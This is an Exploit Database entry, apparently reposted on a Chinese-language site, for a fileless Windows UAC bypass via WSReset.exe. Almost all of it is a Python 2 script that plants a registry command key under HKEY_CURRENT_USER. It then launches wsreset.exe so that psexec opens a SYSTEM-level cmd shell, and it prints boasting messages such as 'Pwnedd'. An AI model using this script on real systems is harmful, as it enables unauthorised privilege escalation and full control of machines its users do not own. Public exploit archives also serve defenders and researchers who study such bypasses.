Microsoft Windows – ‘WSReset’ UAC Protection Bypass (Registry)

• Exploit Database
• 92 阅读

• 作者： valen
  日期： 2019-09-02
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/47754/

• #### Fileless UAC bypass (WSReset.exe)
  #### @404death
  #### base on : https://www.activecyber.us/activelabs/windows-uac-bypass
  #
  ## EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47754.zip
  #
  import sys, os
  from ctypes import *
  import _winreg
  CMD = r"C:\Windows\System32\cmd.exe"
  WS_RESET= r'C:\Windows\System32\wsreset.exe'
  #PYTHON_CMD = "python"
  test_cmd= " -i -s cmd.exe"
  SYSTEM_SHELL= "psexec.exe"# to get nt\system 
  REG_PATH= 'Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command'
  DELEGATE_EXEC_REG_KEY = 'DelegateExecute'
  def is_running_as_admin():
  '''
  Checks if the script is running with administrative privileges.
  Returns True if is running as admin, False otherwise.
  '''
  try:
  return ctypes.windll.shell32.IsUserAnAdmin()
  except:
  return False
  def create_reg_key(key, value):
  '''
  Creates a reg key
  '''
  try:
  _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, REG_PATH)
  registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, REG_PATH, 0, _winreg.KEY_WRITE)
  _winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)
  _winreg.CloseKey(registry_key)
  except WindowsError:
  raise
  def bypass_uac(cmd):
  '''
  Tries to bypass the UAC
  '''
  try:
  create_reg_key(DELEGATE_EXEC_REG_KEY, '')
  create_reg_key(None, cmd)
  except WindowsError:
  raise
  def execute():
  if not is_running_as_admin():
  print '[!] Fileless UAC Bypass via Windows Store by @404death '
  print '[+] Trying to bypass the UAC'
  print '[+] Waiting to get SYSTEM shell !!!'
  try:
  current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + SYSTEM_SHELL
  cmd = '{} /c {} {}'.format(CMD, current_dir, test_cmd)
  bypass_uac(cmd)
  os.system(WS_RESET)
  print '[+] Pwnedd !!! you g0t system shell !!!'
  sys.exit(0)
  except WindowsError:
  sys.exit(1)
  else:
  print '[+] xailay !!!'
  if __name__ == '__main__':
  execute()
  

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